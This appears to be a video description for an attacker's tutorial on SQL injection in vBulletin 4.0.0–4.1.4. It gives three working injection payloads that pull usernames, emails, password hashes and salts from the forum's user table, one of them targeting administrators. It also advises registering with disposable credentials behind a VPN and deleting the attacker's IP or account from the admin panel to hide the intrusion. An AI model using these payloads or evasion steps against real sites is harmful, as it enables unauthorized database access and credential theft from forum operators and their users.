vBulletin 4 SQL Injection Tutorial

Description:
This is a Tutorial on SQL Injecting vBulletin Version 4.0.0 to 4.1.4 done by Nero from TheFinalString.

Intro song: Not the American Average - Asking Alexandria

http://TheFinalString.com

Written Tutorial (everything you need to know)
http://thefinalstring.com/forums/showthread.php?8-Vbulletin-4-0-4-1-4-Injection-Tutorial

Live HTTP Headers (FireFox):
https://addons.mozilla.org/en-US/firefox/addon/live-http-headers/

Making an Account:
1. Use a disposable Pass and Username
2. Use a disposable Email, get one at http://10minutemail.net/ This site gives you an email with an inbox for 10 minutes.
3. Sign up with a VPN
4. If you get into the AdminCP delete your IP from your user, or delete the user entirely.

SQL Codes:
&cat[0]=1) union+select+concat(username,0x3a,password,0x3a,salt) from user limit 1,99#

&cat[0]=1) UNION SELECT concat(username,0x3a,email,0x3a,password,0x3a,salt) FROM user WHERE userid=1#

&messagegrouppid[0]=1 ) union select group_concat(username,0x3a,password,0x3a,salt) from user where usergroupid=1#